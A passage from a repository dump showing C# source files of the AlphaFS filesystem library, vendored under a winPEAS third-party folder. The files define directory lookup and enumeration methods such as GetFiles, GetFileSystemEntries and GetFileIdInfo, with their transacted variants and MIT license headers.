transaction, string path, PathFormat pathFormat) { return GetDirectoryRootCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileIdInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time. /// The path to the directory. [SecurityCritical] public static FileIdInfo GetFileIdInfo(string path) { return File.GetFileIdInfoCore(null, true, path, PathFormat.RelativePath); } /// [AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileIdInfo GetFileIdInfo(string path, PathFormat pathFormat) { return File.GetFileIdInfoCore(null, true, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileIdInfoTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time. /// The transaction. /// The path to the directory. [SecurityCritical] public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path) { return File.GetFileIdInfoCore(transaction, true, path, PathFormat.RelativePath); } /// [AlphaFS] Gets the unique identifier for a directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time. /// The transaction. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetFileIdInfoCore(transaction, true, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileInfoByHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Retrieves file information for the specified directory. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time. /// The path to the directory. [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandle(string path) { return File.GetFileInfoByHandleCore(null, true, path, PathFormat.RelativePath); } /// [AlphaFS] Retrieves file information for the specified directory. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandle(string path, PathFormat pathFormat) { return File.GetFileInfoByHandleCore(null, true, path, pathFormat); } /// [AlphaFS] Retrieves file information for the specified . /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time. /// A connected to the open file or directory from which to retrieve the information. [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandle(SafeFileHandle handle) { return File.GetFileInfoByHandle(handle); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileInfoByHandleTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Retrieves file information for the specified directory. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time. /// The transaction. /// The path to the directory. [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path) { return File.GetFileInfoByHandleCore(transaction, true, path, PathFormat.RelativePath); } /// [AlphaFS] Retrieves file information for the specified directory. /// A instance containing the requested information. /// Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the directory ID for a directory can change over time. /// The transaction. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetFileInfoByHandleCore(transaction, true, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntries.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Returns the names of all files and subdirectories in the specified directory. /// An string[] array of the names of files and subdirectories in the specified directory. /// /// The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries, /// you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries, /// you must wait for the whole array of entries to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The directory for which file and subdirectory names are returned. [SecurityCritical] public static string[] GetFileSystemEntries(string path) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray(); } /// Returns an array of file system entries that match the specified search criteria. /// An string[] array of file system entries that match the specified search criteria. /// /// The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries, /// you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries, /// you must wait for the whole array of entries to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The path to be searched. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static string[] GetFileSystemEntries(string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray(); } /// Gets an array of all the file names and directory names that match a in a specified path, and optionally searches subdirectories. /// An string[] array of file system entries that match the specified search criteria. /// /// The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries, /// you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries, /// you must wait for the whole array of entries to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static string[] GetFileSystemEntries(string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntriesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns the names of all files and subdirectories in the specified directory. /// An string[] array of the names of files and subdirectories in the specified directory. /// /// The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries, /// you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries, /// you must wait for the whole array of entries to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory for which file and subdirectory names are returned. [SecurityCritical] public static string[] GetFileSystemEntriesTransacted(KernelTransaction transaction, string path) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Returns an array of file system entries that match the specified search criteria. /// An string[] array of file system entries that match the specified search criteria. /// /// The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries, /// you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries, /// you must wait for the whole array of entries to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The path to be searched. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static string[] GetFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Gets an array of all the file names and directory names that match a in a specified path, and optionally searches subdirectories. /// An string[] array of file system entries that match the specified search criteria. /// /// The EnumerateFileSystemEntries and GetFileSystemEntries methods differ as follows: When you use EnumerateFileSystemEntries, /// you can start enumerating the collection of entries before the whole collection is returned; when you use GetFileSystemEntries, /// you must wait for the whole array of entries to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static string[] GetFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The path to the directory. [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path) { return File.GetFileSystemEntryInfoCore(null, true, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, PathFormat pathFormat) { return File.GetFileSystemEntryInfoCore(null, true, path, false, pathFormat); } /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The path to the directory. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected directories or non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException) { return File.GetFileSystemEntryInfoCore(null, true, path, continueOnException, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The path to the directory. /// Indicates the format of the path parameter(s). /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected directories or non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException, PathFormat pathFormat) { return File.GetFileSystemEntryInfoCore(null, true, path, continueOnException, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFileSystemEntryInfoTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The transaction. /// The path to the directory. [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path) { return File.GetFileSystemEntryInfoCore(transaction, true, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The transaction. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetFileSystemEntryInfoCore(transaction, true, path, false, pathFormat); } /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The transaction. /// The path to the directory. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected directories or non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException) { return File.GetFileSystemEntryInfoCore(transaction, true, path, continueOnException, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the directory on the path. /// The instance of the directory. /// The transaction. /// The path to the directory. /// Indicates the format of the path parameter(s). /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected directories or non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException, PathFormat pathFormat) { return File.GetFileSystemEntryInfoCore(transaction, true, path, continueOnException, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFiles.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Returns the names of files (including their paths) in the specified directory. /// An array of the full names (including paths) for the files in the specified directory, or an empty array if no files are found. /// /// The returned file names are appended to the supplied parameter. /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The directory to search. [SecurityCritical] public static string[] GetFiles(string path) { return EnumerateFileSystemEntryInfosCore(false, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray(); } /// Returns the names of files (including their paths) that match the specified search pattern in the specified directory. /// An array of the full names (including paths) for the files in the specified directory that match the specified search pattern, or an empty array if no files are found. /// /// The returned file names are appended to the supplied parameter. /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static string[] GetFiles(string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray(); } /// Returns the names of files (including their paths) that match the specified search pattern in the current directory, and optionally searches subdirectories. /// An array of the full names (including paths) for the files in the specified directory that match the specified search pattern and option, or an empty array if no files are found. /// /// The returned file names are appended to the supplied parameter. /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static string[] GetFiles(string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(false, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetFilesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; using SearchOption = System.IO.SearchOption; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns the names of files (including their paths) in the specified directory. /// An array of the full names (including paths) for the files in the specified directory, or an empty array if no files are found. /// /// The returned file names are appended to the supplied parameter. /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory to search. [SecurityCritical] public static string[] GetFilesTransacted(KernelTransaction transaction, string path) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Returns the names of files (including their paths) that match the specified search pattern in the specified directory. /// An array of the full names (including paths) for the files in the specified directory that match the specified search pattern, or an empty array if no files are found. /// /// The returned file names are appended to the supplied parameter. /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public static string[] GetFilesTransacted(KernelTransaction transaction, string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray(); } /// [AlphaFS] Returns the names of files (including their paths) that match the specified search pattern in the current directory, and optionally searches subdirectories. /// An array of the full names (including paths) for the files in the specified directory that match the specified search pattern and option, or an empty array if no files are found. /// /// The returned file names are appended to the supplied parameter. /// The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required. /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array. /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. /// /// /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public static string[] GetFilesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption) { return EnumerateFileSystemEntryInfosCore(false, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray(); } } } ================================================ FILE: 